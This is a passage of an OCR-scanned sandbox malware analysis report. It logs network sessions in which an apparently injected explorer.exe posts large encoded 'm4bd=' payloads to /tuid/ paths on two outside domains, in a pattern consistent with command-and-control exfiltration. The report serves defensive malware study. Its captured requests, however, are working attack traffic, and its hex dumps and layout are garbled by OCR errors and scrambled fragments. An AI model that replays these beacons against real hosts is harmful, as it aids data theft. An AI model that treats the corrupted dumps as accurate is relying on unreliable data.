6c 53 38 7a 50 38 6¢ 55 30 26 61 6d 70 3b 4d 38 73 3d 77 38 36 44 4a 70 67 78 35 46 59 6¢ 55 66 52 50 22 3e 68 65 72
65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>308 Permanent Redirect</title
></head><body><h1>Permanent Redirect</h1><p>The document has moved <a href="https://eisberg-seminare.de/?
m4bd=csUEPuyljQauctU/Z8NbCIms5fC6XWDY Eeq9yClh8wbkyOEJAIgn2MT949GIS8zP8IU0&amp;M8s=w86
DJIpgx5FYIUfRP">here</a>.</p></body></htm|>

Session ID Source IP Source Port Destination IP Destination Port Process

10 192.168.11.20 49765 142.251.39.115 80 C:\Windows\explorer.exe
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kBytes

Direction
transferred

Timestamp
Aug 8, 2022 903 ouT
17:45:14.863590956

CEST

Aug 8, 2022 1083 IN
17:45:15.420994997
CEST

Copyright Joe Security LLC 2022

Data

POST /tuid/ HTTP/1.1

Host: www.programmedsolution.com

Connection: close

Content-Length: 174830

Cache-Control: no-cache

Origin: http://www.programmedsolution.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.programmedsolution.com/tuid/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 6d 34 62 64 3d 4e 74 68 36 50 7a 35 74 56 2d 4b 4f 51 76 65 6b 44 64 48 44 44 33 30 54 70 50 6b 48 6f 64 7e
7966 70 76 31 4d 4a 58 43 64 78 36 71 41 76 7e 72 5a 4f 33 73 41 75 6f 66 31 6d 39 4b 47 74 79 4e 6d 69 35 6d 59 43
6¢ 55 79 58 6b 6b 6a 38 38 6b 63 68 28 30 4b 55 5a 79 41 54 43 67 66 54 4e 36 6¢ 6e 6e 67 44 64 44 4b 70 4b 36 48 30
57 78 5f 66 42 37 51 59 39 47 46 41 4f 4b 2d 4d 35 69 62 28 4a 50 64 44 45 79 58 37 7a 7e 2d 58 42 30 65 52 57 50 2d 7
15a 31 7168 55 69 58 54 38 50 6e 53 67 47 37 44 4b 35 51 57 4e 62 74 46 51 44 39 52 53 74 31 50 77 7e 55 73 38 61
6a 50 71 70 55 68 34 7a 67 28 41 79 52 68 74 4f 75 64 77 48 4a 7e 56 68 50 62 71 39 54 36 46 6d 78 50 57 45 52 48 54
37 4b 79 31 54 30 49 35 45 54 72 6d 30 35 65 4f 4d 7a 6f 67 50 79 72 78 35 4d 37 4a 37 33 53 39 7a 77 5a 39 79 32 48
6b 73 77 5a 39 46 76 5a 49 59 63 33 6b 35 4c 42 57 4b 76 62 6d 66 50 39 59 34 37 6f 68 65 45 65 4e 39 67 28 6a 4d 65
46 57 50 52 4d 70 34 56 50 39 73 4a 31 53 6¢ 64 67 53 71 58 50 42 44 6a 44 31 61 37 38 37 31 30 68 71 44 43 62 78 33
5f 4371 6f 74 4c 68 54 72 6f 71 72 75 28 4d 65 68 6d 53 51 6¢ 44 37 5a 70 76 4c 4a 77 63 2d 45 6f 4d 4e 75 4b 76 53 59
33 4d 5f 67 7a 58 70 6f 4f 69 6¢ 39 71 73 58 5a 6e 4e 33 79 6e 6b 33 63 51 58 78 57 7a 6e 6¢ 45 76 75 79 69 36 7e 71 77
3141 44 4e 61 33 62 78 77 34 65 4a 46 6b 4b 32 4d 37 69 67 6a 65 37 54 64 7a 58 64 36 66 35 56 52 59 37 63 4f 52 6f
79 7a 54 30 37 7a 43 67 66 4a 65 77 50 68 68 58 5a 49 34 49 79 4f 70 61 33 38 32 50 4b 45 47 61 35 57 39 65 78 6b 77
3959 46 51 35 68 51 74 73 63 50 73 6d 49 5f 51 39 41 58 51 4b 76 5a 75 76 67 61 63 5f 6f 55 71 79 79 4a 59 62 66 6a
45 4e 42 61 6e 56 66 64 7e 37 37 73 55 57 57 4f 70 64 74 52 79 5f 41 54 46 72 6f 48 77 6e 58 57 6¢ 4b 33 7a 58 36 32
533377 4b 68 4a 32 72 62 44 72 35 76 67 6f 48 78 64 59 6e 64 75 57 51 4f 63 7a 76 4c 4e 79 53 5a 73 6a 37 62 74 66 5
56a4d 44 6d 59 41 4c 71 4c 7a 72 4d 34 32 58 5a 2d 76 76 48 71 66 4d 4e 47 57 48 6d 64 6d 52 76 2d 6e 78 42 30 52
70 6d 58 39 51 4c 6a 35 4b 49 2d 39 56 69 49 50 4a 50 62 35 45 63 64 74 50 31 41 59 56 6¢ 32 48 73 61 36 74 62 4f 7a
4c 37 4c 6e 73 4e 7a 6d 68 45 65 42 53 6b 74 44 4e 30 58 48 59 4b 6d 67 32 43 5a 71 4b 66 75 6e 36 65 51 78 47 53 61
44 6f 32 6d 5a 6e 48 42 61 39 35 4a 6d 4f 72 53 70 45 4c 44 5f 79 4f 6b 68 77 57 4c 54 28 4a 6f 65 4e 72 69 45 6d 71 53
3574 61 4e 56 48 34 38 75 6d 71 59 79 4e 72 30 77 56 32 6e 43 44 56 66 52 51 59 55 5f 56 41 53 6b 41 4c 4d 67 6d 47
6a 77 7e 66 59 70 6d 59 47 52 6b 35 7e 76 6b 6a 52 7a 37 62 6f 30 7e 62 77 2d 76 78 4f 76 53 45 31 63 68 43 6¢ 59 33
78 49 38 54 4e 68 6¢ 33 62 51 4d 39 41 6e 55 71 37 61 5a 28 37 47 47 52 39 74 67 74 75 41 67 75 69 48 66 28 4c 66 35
79 5f 75 4a 76 6a 49 6a 47 71 6d 58 50 56 63 67 68 4e 78 75 75 36 31 4e 45 32 7e 59 74 31 65 78 4e 67 53 47 7a 4c 47
3237 30 33 6e 4d 55 4c 4d 66 6d 66 68 6b 73 52 32 77 58 35 6d 75 6¢ 4a 75 66 4f 4b 7a 34 32 4a 5f 51 61 74 6b 78 77
6e 5539 76 54 32 7a 38 4d 48 6f 55 56 58 44 4a 7a 38 44 79 47 43 6b 76 62 67 54 33 35 7a 46 73 49 59 72 5f 31 45 6d
56 76 56 62 63 34 46 69 30 50 65 46 7a 4a 5f 34 5f 63 46 69 5a 31 55 64 51 35 71 6f 6d 4a 5f 66 77 41 52 58 41 6e 7a 49
55 44 5f 6f 59 33 6e 64 52 72 47 6b 47 54 7a 56 39 45 6f 79 6f 69 33 64 71 70 35 42 6e 4f 71 65 4a 33 6b 34 41 37 69 38
5546 77 6a 53 68 36 68 4b 61 5f 63 45 4b 4c 73 62 42 4d 6a 52 49 52 7e 42 57 55 62 74 34 49 7e 62 45 75 36 6a 61 41
3266 7549 51 72 41 33 55 6d 58 77 44 55 50 32 62 4d 46 31 6a 4a 31 32 31 37 66 65 51 48 79 31 4f 56 61 32 55 52 52
62 34 62 33 68 36 69 7a 43 73 49 65 75 4e 70 38 5f 30 43 58 52 6b 6d 4d 79 32 54 69 59 72 6d 4a 5f 67 64 59 6d 71 68
62 6e 49 35 7a 74 77 48 6b 53 78 6a 54 7a 41 72 38 72 56 57 36 6e 67 34 4e 46 6f 57 32 36 28 74 4f 6f 41 6d 4a 6d 75
79 36 30 62 55 64 55 32 31 4a 76 44 4b 7a 2d 65 63 63 6¢ 69 57 63 2d 51 5f 5a 50 4d 71 52 65 79 42 58 35 6a 6¢ 70 70
3034 31 63 6e 37 3959 41 61 79 38 35 36 53 65 77 77 76 66 5a 41 65 54 5a 6e 61 6e 48 2d 64 36 47 38 31 66 4e 64 43
47 3536 55 6d 37 47 75 30 59 78 7e 32 70 65 45 70 59 76 4d 42 4b 52 7e 37 33 44 71 78 67 35 61 52 59 6¢

Data Ascii: m4bd=Nth6Pz5tV-KOQvekDdHDD30TpPkHod~yfpvIMIXCdx6qAv~rZO3sAuoflmIKGtyNmisSmYClUy
Xkkj88kch(OKUZyATCgfTN6InngDdDKpKEHOWX_fB7QY9GFAOK-M5ib(JPdDEYX7z~-XBOeRWP-qZ1ghUiXT8PnSgG
7DK5QWNbtFQDIRSt1Pw~Us8ajPgpUh4zg(AyRhtOudwHJI~VhPbq9T6FMxPWERHT7Ky1TOISETrm05eOMzogPyrx5M7
J73S9zwZ9y2HkswZ9FvZIYc3k5LBWKvbmfP9Y470heEeN9g(jMeFWPRMp4VP9sJ1SIdgSqXPBDjD1a78710hgDCbhx3
_CaqotLhTrogru(MehmSQID7ZpvLIwc-EoMNuKvSY3M_gzXpoOil9gsXZnN3ynk3cQXxWznlEvuyi6~qwlADNa3bxw4
eJFkK2M7igje7TdzXd6f5VRY7cORoyzT07zCgflewPhhXZI4lyOpa382PKEGa5W9exkw9YFQ5hQtscPsmi_Q9AXQKv
Zuvgac_oUqyyJYbfiENBanVfd~77sUWWOpdtRy_ATFroHwnXWIK3zX62S3wKhJ2rbDr5vgoHxdYnduWQOczvLNySZs
j7btfUMDmMYALQLzrM42XZ-vwHgfMNGWHmMdmRV-nxBORpmMX9QLj5KI-9VilPIJPb5EcdtP1AYVI2Hsa6thOzL7LnsNz
mhEeBSktDNOXHYKmg2CZgKfun6eQxGSaDo2mZnHBa95IJmOrSpELD_yOkhwWLT(JoeNriEmgS5taNVH48
umgYyNrowV2nCDVfRQYU_VASKALMgmGjw~fYpmYGRk5~VkjRz7bo0~bw-vxOvSE1chClY3xI8TNhI3bQM9AnUqg7aZ(
7GGROtgtuAguiHf(Lf5y_udvjliGgmXPVeghNxuub1NE2~Yt1exNgSGzLG2703nMULMfmfhksR2wX5mulJufOKz42J

_ QatkxwnU9vT2z8MHoUVXDJz8DyGCkvbgT35zFsIYr_1EmVvVbc4FiOPeFzJ_4 cFiZ1UdQ5qomJ_fwARXANzIUD_o
Y3ndRrGkGTzV9Eoy0i3dgp5Bn0OqeJ3k4A7i8UFwjSh6hKa_cEKLsbBMjRIR~BWUbt4l~bEu6jaA2fulQrA3UmXwDUP
2bMF1jJ1217feQHy10Va2URRb4b3h6izCsleuNp8_0CXRkmMy2TiYrmJ_gdYmghbnl5ztwHkSxjTzAr8rVWeng4NFo
W26(t0O0AmImuy60bUdU21JvDKz-eccliWe-Q_ZPMqgReyBX5jlpp041cn79YAay856SewwvZAeTZnanH-d6G81fNdC
G56Um7Gu0Yx~2peEpYVMBKR~73Dgxg5aRYIzvOD~dINRpmAXs4dE_iX2p6I8012BEBLsMIYHOyFJERTVU9VhsboXkW
sovWYoGNOLBBg(NeKpUQNQpIUGlybRDeL ThzrP28GvuPGoc8Hwha4K-FOuir-IAgHKDYHRWc4Kpu2pFecpOmuUkGeQ9
rimdHLZCsmgEgk6BQ72gbuXmSw7FX~k162NdsRAY Zeqlc6i2uGPPAnpB2VKQEpP3H2Zr5W8NhXG3iGVIK6lidVCz4RE
6a6ikMLVI5L2zjfCcl3709F4Res413i9tZ0OrHpCV{U4jt~9T0g9IT6ZSuvApX3uBedOrBWGsaExe_1K9zCU~GmXU9w
vmNrQyZAA~N6PzudfBNQSOx4keBIp4MyvCVCjOO2vcSSr~810uLlbrOAx3gm-XtAjOI5SH53juw2b58GIw5u70UeQtM
J3JIVvpPV4omNf3KLVgECI3R(QtWhwYuRhIQPg3z2uQNMm(vXvSy16jD(6 TA3AXrTmgkq5DpzEjJ6b43NsYr7us66(
hxh~VGkh4hyYmryTOdcpV2FfuzXXiC-zAg2l6WeNHrphzYQM1V_sTIgD23K75DB9JrsU9LH43bUJv2ruf2_9weMYjV
v36lm7w8W7quogMDKnNZbTxD3LKInsKPU2mKua5iJ1cV8002TbRWgn51N3n1nyu9q8sAUSESJj0rjWO5hG_OkCyJ_A
TyW08zNKULQ6BaEnsGFQbN6bzgqQoSUjP7YCRI9Lnawqg4dyvw4QHpoo22ktOEHWxgNRikeQIsts-fl(QJVOCIENYOjx
eqgN5wLyl7LDA~5106-LgDFGpLIiDiff~7bwDzVuDP~3val4rNeOlh~urWH_(IScOrsuvsjHtxN2jwBIIWSBTnnDGVK
r2cTOucIN5t1PbOWWNFP6X

HTTP/1.1 301 Moved Permanently

Content-Type: application/binary

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Mon, 08 Aug 2022 15:45:15 GMT

Location: https://www.programmedsolution.com/tuid/
Server: ESF

Content-Length: 0

X-XSS-Protection: 0

X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff

Connection: close
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Session ID Source IP Source Port Destination IP Destination Port Process

11 192.168.11.20 49766 142.251.39.115 80 C:\Windows\explorer.exe
Timestamp e Direction Data
transferred
Aug 8, 2022 932 ouT GET /tuid/?m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndgaVaC/gFtqDUvqUT5Zi2|9zF52EiAp1&M8s=w
17:45:14.881884098 86DJIpgx5FYIUfRP HTTP/1.1
CEST Host: www.programmedsolution.com

Connection: close
Data Raw: 00 00 00 00 00 00 00

Data Ascii:
Aug 8, 2022 1082 IN HTTP/1.1 301 Moved Permanently
17:45:15.003175020 Content-Type: application/binary
CEST Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: Mon, 01 Jan 1990 00:00:00 GMT

Date: Mon, 08 Aug 2022 15:45:14 GMT

Location: https://www.programmedsolution.com/tuid/?m4bd=CvVARU9fNp+vKMKeLa6AXw4JheY799aWEuKndqgaVaC/g
FtgDUvqUT5Zi219zF52EiAp1&M8s=w86DJpgx5FYIUfRP
Server: ESF

Content-Length: 0

X-XSS-Protection: 0

X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff

Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

12 192.168.11.20 49767 104.21.39.116 80 C:\Windows\explorer.exe
kBytes

Timestamp v Direction Data
transferred

Aug 8, 2022 1089 ouT POST /tuid/ HTTP/1.1

17:45:25.857180119 Host: www.secureartist.com

CEST Connection: close

Content-Length: 174830
Cache-Control: no-cache
Origin: http://www.secureartist.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.secureartist.com/tuid/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 6d 34 62 64 3d 45 63 30 37 53 54 6¢ 30 73 5a 6b 6e 78 33 4f 33 56 44 55 44 54 4d 6b 5a 59 70 42 7a 43 63 30
61 6b 64 33 46 4a 6a 56 4a 51 79 61 31 7a 54 77 55 36 6d 76 61 37 58 31 64 59 72 6b 48 61 56 31 46 42 59 66 70 44 43
50 54 34 36 55 49 28 47 64 57 67 4a 78 48 30 44 6d 33 48 75 36 4f 72 5a 37 45 73 35 53 7a 32 38 4a 54 47 50 44 67 52
4328 50 41 4a 6a 73 30 56 43 42 78 50 61 42 73 4a 41 4c 66 55 32 55 79 4a 71 5f 52 67 57 76 76 50 45 4a 45 44 6d 53
41 4c 78 77 45 54 5a 44 5a 47 28 70 41 51 4f 77 58 72 36 35 47 48 68 52 44 56 44 42 63 47 73 68 4c 51 67 72 59 6a 75
6e 71 36 4d 78 58 43 45 75 33 6e 39 5f 6a 57 55 48 4¢ 39 31 6e 7a 75 30 76 4b 70 6f 6d 67 36 33 38 47 61 54 34 76 58
4e 71 73 6d 64 46 61 4e 57 77 52 6e 31 78 62 39 68 62 41 37 5a 53 52 78 49 53 75 44 50 33 62 2d 36 43 39 53 7e 69 31
6¢ 4e 6b 50 64 39 79 6a 45 72 64 53 4c 32 44 42 65 4a 61 76 68 48 5f 75 4f 57 44 67 7a 70 46 36 74 4b 4b 51 62 65 51
36 4c 37 59 28 6b 52 4d 78 4b 58 62 79 4b 59 32 70 71 63 7a 73 39 33 44 38 36 30 41 43 42 44 6f 32 64 5a 4e 39 4e 66
6b 4d 6¢ 70 47 68 47 53 59 4e 63 7e 58 7a 51 35 44 61 52 4d 68 55 51 58 47 4a 35 61 55 32 49 74 51 50 58 52 63 4a 48
41 5a 52 62 64 4a 6¢c 49 62 37 71 32 79 69 47 4a 75 77 30 67 4c 64 6b 65 42 77 7a 75 4b 51 69 38 4c 43 4f 48 78 32 5a
5179 32 6¢ 74 30 36 6e 72 33 43 48 4e 4d 4c 54 37 5a 42 50 52 5a 6b 79 31 75 52 75 6d 79 41 50 58 49 41 78 61 69 70
41 42 69 4a 70 61 6a 49 50 57 61 6e 28 31 68 71 72 67 43 38 50 44 77 6f 53 6a 44 6e 66 72 6a 64 28 48 79 6b 51 42 73
46 50 48 43 45 6a 6d 58 6¢ 77 44 4a 42 79 69 54 73 32 76 75 42 36 38 41 4e 65 49 54 45 68 71 39 72 62 38 41 58 52 5f
49 52 28 42 28 4e 5a 68 51 42 61 7a 53 37 7a 76 53 30 75 7a 34 35 68 73 30 6b 76 35 58 68 32 76 37 55 6b 34 70 74 76
337844 48 59 68 67 74 76 4c 35 65 4c 48 6¢ 6b 37 52 75 64 57 5a 64 64 63 31 33 46 67 41 4e 7a 69 39 57 4b 53 42 68
50 6d 74 54 33 68 66 53 28 4e 46 65 71 37 32 61 66 66 34 76 44 6a 47 76 73 62 37 50 4e 67 51 45 71 66 54 38 6e 52 65
4a 62 37 43 63 5a 4c 28 78 74 32 66 76 65 6¢ 32 72 51 58 6d 32 53 4b 51 5a 37 5a 6f 4a 67 38 32 2d 38 32 43 78 7a 73
65 39 7e 36 78 64 4d 52 43 65 28 35 74 49 6b 67 52 4a 62 6e 50 78 7e 79 34 45 7a 62 50 54 31 76 64 56 7a 38 59 49 57
75 7a 33 6d 6e 6f 68 52 5f 7a 51 63 50 52 64 61 67 66 42 58 55 69 51 79 52 68 4e 69 55 32 58 4b 54 70 72 32 65 4d 7a
43 4c 52 4c 6d 46 4d 68 58 37 67 77 79 69 77 59 43 48 4d 36 4e 2d 78 6e 76 69 41 53 69 43 46 4e 50 53 72 4a 65 41 67
6942 75 77 6¢ 36 32 51 61 66 54 53 70 52 64 32 63 78 6d 53 45 4c 39 78 34 57 75 58 32 37 68 31 46 6d 7a 64 7a 66 41
38 4a 4f51 76 51 51 6¢ 59 31 47 63 44 55 56 53 69 55 79 70 66 6e 6a 61 52 4c 39 48 52 51 32 33 48 36 58 41 7e 30 6a
49 42 6a 72 5f 44 71 34 6b 38 77 4f 6e 34 4a 75 51 74 4e 49 2d 71 51 67 6f 76 45 47 62 6¢ 47 36 34 68 58 79 41 28 74 2
841 6¢ 77 49 62 4f 79 42 67 45 54 55 51 76 4b 71 62 4a 69 31 6f 36 63 55 33 4c 53 59 61 4a 77 42 52 41 5f 52 68 6b 53
52 47 6d 77 5a 55 4e 74 51 64 43 67 46 7a 64 48 44 4c 6b 4b 35 57 69 37 55 66 4d 5f 68 56 54 75 6f 4b 30 32 48 70 45
4d 42 64 43 56 63 47 59 55 62 33 47 77 55 79 4b 75 4d 66 7a 6d 31 68 50 6b 6d 4b 7e 36 63 4b 49 50 63 30 6a 30 43 6b
52 45 66 69 6b 71 55 52 45 59 70 46 6d 65 6b 4f 59 42 65 65 41 6¢ 6f 32 75 4a 63 67 79 68 67 2d 37 35 50 2d 62 6f 4e
73 736852 50 70 48 32 33 34 5a 76 4d 55 78 73 6¢ 61 49 43 76 74 63 42 79 46 66 77 51 70 67 70 58 39 72 42 52 74 62
7a 57 59 64 41 53 78 6f 67 38 30 68 30 32 33 46 4d 7a 74 61 53 4b 6a 4b 4e 6a 65 54 6d 45 76 5a 79 67 55 6b 62 6b 72
59 46 49 74 64 70 6f 7e 6f 73 76 35 52 58 55 6¢ 33 47 2d 50 76 72 44 34 65 42 53 64 72 7a 4f 43 4e 77 41 70 34 58 47
58 4c 7a 45 62 47 47 6b 55 62 38 4b 79 50 6¢ 63 59 68 75 52 68 35 34 59 30 7a 42 59 33 66 45 56 59 47 46 6¢ 4e 44 51
4d 69 4f 71 39 54 32 59 70 67 69 65 65 65 59 28 62 37 5f 36 53 73 6e 76 66 33 76 52 63 4c 64 75 37 78 70 42 43 54 46
3036 66 71 65 56 41 51 63 56 45 6a 39 74 32 33 64 6b 4d 4d 42 47 66 31 76 67 76 76 65 4c 63 6¢ 6f 79 56 4a 66 51 51
382842343876 7a77334c536¢ 7451 36 48 54 4a 71 44 6d 59 74 46 4e 7a 64 79 4e 73 61 38 58 59 63 48 51 34 62
Data Ascii: m4bd=Ec07STI0sZknx303VDUDTMkZYpBzCc0akd3FJjVJIQyalzTwU6mva7X1dYrkHaV1FBYfpDCPT4
6UI(GdWgJIxHODmM3Hu60rZ7Es5Sz28J TGPDgRC(PAJjsOVCBxPaBsJALfU2UyJq_ RgWvwPEJEDMSALXWE
TZDZG(pAOOWXr65GHhRDVDBcGshLOarYiuna6MxXCEu3n9 iWUHL91nzuOvKnoma638GaT4vXNasmdFa
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Timestamp e Direction
transferred

Aug 8, 2022 1179 IN

17:45:25.885768890

CEST

Session ID Source IP Source Port

13 192.168.11.20 49768

Timestamp L Direction
transferred

Aug 8, 2022 1124 ouT

17:45:25.867825985

CEST

Copyright Joe Security LLC 2022

104.21.39.116 80

NWwRn1xb9hbA7ZSRxISUDP3b-6C9S~i1INkPd9yjErdSL2DBeJavhH_uOWDgzpF6tKKQbeQ6L7Y (KRMxKXbyKY2pqc
M@DSGOACBDoZdZNQkaMIthGSYNc~XzQ5DaRMhUQXGJSaUZItQPXRcJHAZRdeIIb7q2inJqugLdkeszuKQi
8LCOHx2ZQy21t06nr3CHNMLT7ZBPRZkyluRumyAPXIAxaipABiJpajlPWan(1hqrgC8PDwoSjDnfrjd(HykQBsFPHC
EjmXIwDJByiTs2vuB68ANel TEhg9rb8AXR_IR(B(NZhQBazS7zvS0uz45hs0kv5Xh2v7Uk4ptv3xDHYhgtvL5eLHIk
7RudWZzddc13FgANzi9WKSBhPmtT3hfS(NFeq72aff4vDjGvsb7PNgQEQqfT8nReJb7CcZL (xt2fvel2rQXm2SKQZ7Z0Jg82-
82Cxzse9~6xdMRCe(5tlkgRIbnPx~y4EzbPT1vdVz8YIWuz3mnohR_zQcPRdagfBXUiQyRhNiU2XKTpr2eMzC
LRLMFMhX7gwyiwY CHMB6N-xnviASICFNPSrJeAgiBuwl62QafTSpRd2cxmSELIx4WuX27h1FmzdzfA8JOQvQQIY1GcD
UVSiUypfnjaRLIHRQ23HEXA~0]jIBjr_Dg4k8wOn4JuQtNI-gQgovEGhIG64hXyA(t(AlwlbOyBgETUQVKgbJilo6cU
3LSYaJWBRA_RhkSRGmMwZUNtQdCgFzdHDLKK5Wi7UfM_hVTuoKO02HpEMBACVcGYUb3GwUyKuMfzm1hPkm
K~6¢KIPcOj0CkREfikqUREYpFmekOYBeeAlo2uJcgyhg-75P-boNsshRPpH234ZvMUxslal CvicByFfwQpgpX9rBRt
bzWYdASx0g80h023FMztaSKjKNjeTmEvZygUkbkrY Fltdpo~0sv5RXUI3G-PvrD4eBSdrzOCNwAp4AXGXLzEbGGkUb8
KyPlcYhuRh54Y0zBY3fEVYGFINDQMiOq9T2YpgieeeY (b7_6Ssnvf3vRcLdu7xpBCTF06fqge VAQCVE|9t23dkMMBGf
1vgvveLcloyVJfQQ8(B48vzw3LSItQ6HTIgDmMYtFNzdyNsa8XYcHQ4bkO~dezfULAo0-jAlsH304JpKBhREGNT Tx5km
annM2e7sNSfk3pLKE9CxfUtGNSKLTRBUN5P3ZUIAAYNEBAZNUNNHKN34_YbIB1IRRXvz5smmz(CvveChesOGJstXgu
e5La60fp9HdPrVrMNTVg40VfY7Q5Thfl7Igjg(4H27yuXpxJbAgpll_kKw_RoVuWAfcRnCWY5ykqcj3xpjMpRksO50
Yu51ZEIWkpHhI8JcGvI5ZuWAxzENgQ9UjcFaPAnJcuwblggOfhetLIBUix28KgMn3~N7SPNkUa_v9WxEwwl50Q3SO
Q~2q8rzfWNHBHYrMTP4XNxbdr20ZMREtmOi_omfh(nLfuHSpSnEIZt11hiKWd4(uOB8-w_THRQELNZT9grNsWGuha
xfsq27-(v1_ylE8tB~RIomMOepxyOg75JdhTcqHLKZtRZqg(5~zpAX1ChkIx0XaJn6wzV6GymB3dMTWY1kPtqlOupT
42B8cVzgOQfuVj-LOcDy-9xrIJnPVy9MgHw9eNMiupgQUcxIBssFhKTNIq(IS2REmmZFeP500x6FncjSY9pMIleA9vP3
QcTGkpbuwHfFGX8vMop1NflpeUSNqOI7sjCVVK3NMTBBYXwglseVaSL1Xbm9eGS9Irl1155r7i83edlQMfgCCIGHeS
QMSILodwaR8chdhU06rLFAKRrh3EbPTDv2Snqgfj7uR9G2G009UtzBWVEO55j1Pd3~z6ZrgrUuzEKvzUgL5SVY6pyQZ
714jMI3Iwd3Ltmm30yi27DtT3NJIxuxofQHeE8MyPwZiyrpK9KKq9k6Jp-Y 3vHW8zx806Bkm8YWXb(4IK12GWBKif
XhwTXZ7Ewy_(cesU-L_bK2SI93FURDZ10iH(fBxh7jYMY4gjmSau6(saUQv~gwqzg4KrLS5md(EE2S8Gc6uZ5cvYZE
rrTFdOdiLTOEk41kebNcJEegmPaEOTU13WIpuBiawy3WCu8keffJFHKYAhOLoj5bpuYHSqOmMDK80460k TvsuRnsbRU-
kGixkGb24xCzKPOmMIA8BM14EUAphTeOGgEzIZsSPMEGT5gNTcK-NYVDWsckJ04FQkfo4ZnpSFBvgvdNtld5fAAHCZk
bhSAON_nI7SPpTovYyW3BuQXcB4BCgr(7i6NpzHp1kWJ-MaxqMZLsxnbTxQSVNN4Zn(ertAhHc~kWOHVFYDs27vIP
CyflVgCVqSSmOUI7ORrk1MOI3A1PyBiJedeQnikF-ESUZGEIGSM1BBttdR Yt1pgxtViMgQ4ebHGSBHV29xu53tOvxI
1AgoJg-i7Jz9qGtgVOMMC6PdJI16tQo4pNMIZhsnp3PV48sI8qfqixO_b20QthV-wa~FrUee0X~AlzMAaUU8VyKdWkg
WqOSWN-mHvsO5GdA4uTabkbcXCGIQcIWyKsQvb3DVIT~ic2d-QDhIWBCgUcmYAKMVIyMbC_i3TKHZa2~
VQeCLOdQDijRg(w5ix80FJSyhHCgrWv~rfD4jI5xQMHQrcT20zHNEZLa5ysP8lluZUymtrx2s0g7nAkPROzfNOba4l
rQSYbwK9fmGOkacR2logtdRuOy_WCaFpa5lvCuvgNRQkx0TiRkmed8tuhvrRm4aJeFVcZCOcLP8w_IXTv2TwPmsztT
8Y2wkGT5sqZwwjRIgNPgpH5rmJIpJUcW2gnEICqCOuQ6eDEM2uLK2X4CChUIimMUKXFOVsLjC3aEqxSENc4xDcZp39xt
NYGAQ60E8X_Fs8ru6ROSIC|QPYUEEeZPAWKFMTxe89r6 TMnI7G3BI8g(pcyjoluYBhsiwZgLUp_KryLS0Z5SIJWIK90
UJ6IKAWWDbeiuCllY5zXbeprHD9_JFRne2WgUCuC6178NwBJzmBOFzW25VW9WIchTGYHQyUfs1RzEFyeDeFNUOIJFLz
rfF8U9PIXYjigh_7673p7sJz_7YErj16AllG4U4W8vyJ2cNRUIddQERIXfL16cifHpZXxL8 TFzmhw2FgOlojyXHcxWm34ojdcRue8
NORERRrvKF9gbefBsBTzvCijBfLIkhiu4UngxRIUXR1OSyFNZf2c-EFzkjwwWimvrDjyKFONYL240CTDAGhI_15f-X
BOuke8m(as39TroXFrVi2XHIWReU2LFP1RPMH5tv6v3sdzG6GVZAPGYRw7dZW3V25Piz6tyYJArAcvboYFR2vOxM5c¢
fBbwQtBincoEh~I~34KBEXMfVOIyMczxA20xvrA2fZLg6(GeV1w9Vy6CUr51INHiD7qgs9d~z3ttvyD1F5IDTEFNHmKi
euLUGCccFZTTKkoQ4KQ1ZZ2fclqTiSrIBf64uUjRh6zjBbaBdvxOdyx7tINTP2XIsibiWQdKT_Zg5TfsKOF7DjDb8tX
aijkQkO4CKV(bRd1zVxjjh8S9HL10g5sPN1Z361qgS4AnL_BVksE2kfgbpv11T5Ddh9(ZI29ILHVVFDd970g8DAI8W
3V_Z71zxK~xapQeMhVV8dhcrxNuGT5To0bjHOPQc6FsdgJDz6kiCu7MF8IKHDTMihbbVu5K2KuylkecdICWwxNWMwNCS
KhF2TrUPgXxcNStJz97REmBLR24Gad7XE3Vgiks7lYp~f3yQiaPyVD1wPk-Z_0-S2AjsjPiUiY-NoRg21mO0da(r5Zv
jUMg700nK2LBe0KXf7PDBalu5JvDJDY 768vOP8jy3hu56~IWcrakEdHQ7ubQ_ntlOXNYvwmgsS1W3h

HTTP/1.1 301 Moved Permanently

Date: Mon, 08 Aug 2022 15:45:25 GMT

Transfer-Encoding: chunked

Connection: close

Cache-Control: max-age=3600

Expires: Mon, 08 Aug 2022 16:45:25 GMT

Location: https://www.secureartist.com/tuid/

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.comV/report\/v3?s=NyrP4hgMTBnn1vGShIDtvwDJulpdH9vc
eon7UYf04DbbV8v%2FojWgBrQzNS56 QPHvq9lIDzE9EY87MZOXJuSx7gaFWfI93ET1pTC%2BgfvRWO7ECcIS|MIqIVV
89q%2FBMpSXyM8oetOmLJIQ%3D%3D"}],"group™:“cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Vary: Accept-Encoding

Server: cloudflare

CF-RAY: 73796108ad299256-FRA

alt-sve: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0

Destination IP Destination Port Process

C:\Windows\explorer.exe

Data

GET /tuid/?m4bd=LeABMOdRx+cjh3zMeGVoLpl9dcpUDUhE6Ym2dCR4Y XuE8jour2rN+gEOINsGd1piKr34&M8s=w
86DJpgx5FYIUfRP HTTP/1.1

Host: www.secureartist.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp Direction Data
transferred

Aug 8, 2022 1179 IN HTTP/1.1 301 Moved Permanently

